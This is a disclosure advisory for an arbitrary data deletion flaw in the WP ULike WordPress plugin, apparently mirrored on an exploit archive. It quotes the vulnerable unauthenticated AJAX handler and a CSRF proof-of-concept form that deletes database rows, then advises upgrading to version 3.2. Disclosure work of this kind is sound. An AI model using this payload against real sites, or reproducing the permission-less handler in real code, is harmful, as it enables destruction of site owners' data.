Twenty Year Anniversary

WordPress WP ULike 2.8.1 / 3.1 Arbitrary Data Deletion

WordPress WP ULike 2.8.1 / 3.1 Arbitrary Data Deletion
Posted May 15, 2018
Authored by Tom Adams

WordPress WP ULike plugin versions 2.8.1 and 3.1 suffer from an arbitrary data deletion vulnerability.

tags | exploit, arbitrary
MD5 | 41b43b16b5e074c59a698924b3c0f54d

WordPress WP ULike 2.8.1 / 3.1 Arbitrary Data Deletion

Change Mirror Download
Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/wp-ulike-delete-rows/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
WP ULike allows anybody to delete any row in any WordPress table

Vulnerability
================
The plugin contains a wp_ajax action which allows any authenticated user (it doesnat check permissions) to delete any row of almost any table in the database (the table must begin with $wpdb->prefix). As nonces are not used, this is also vulnerable to CSRF meaning unauthenticated users can access it if they can successfully phish any user of the site.
add_action(\'wp_ajax_ulikelogs\',\'wp_ulike_logs_process\');
function wp_ulike_logs_process(){
global $wpdb;
$id = $_POST[\'id\'];
$table = $_POST[\'table\'];
$wpdb->delete( $wpdb->prefix.$table ,array( \'id\' => $id ));
wp_die();
}
This functionality should have a nonce, it should be restricted to users with certain permissions, and it should be restricted to only allow deleting from certain tables.

Proof of concept
================
This is the proof-of-concept for an unauthenticated user using CSRF against a logged in user.

Activate the plugin
Remain signed in
Visit a page containing the HTML below
Press submit
Row with id=1 in the $wpdb->prefix.\'posts\' table will be deleted
The value of id or table can be changed allowing deleting any row in any table with the WordPress prefix at the start of its name, and having an id column

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
<input type=\"text\" name=\"action\" value=\"ulikelogs\">
<input type=\"text\" name=\"table\" value=\"posts\">
<input type=\"text\" name=\"id\" value=\"1\">
<input type=\"submit\">
</form>
In a real attack, the form could be made to auto-submit on page load, and submit the form multiple times with different table and id values meaning that a single user falling for a phish could wipe the whole database.

Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    6 Files
  • 21
    May 21st
    1 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close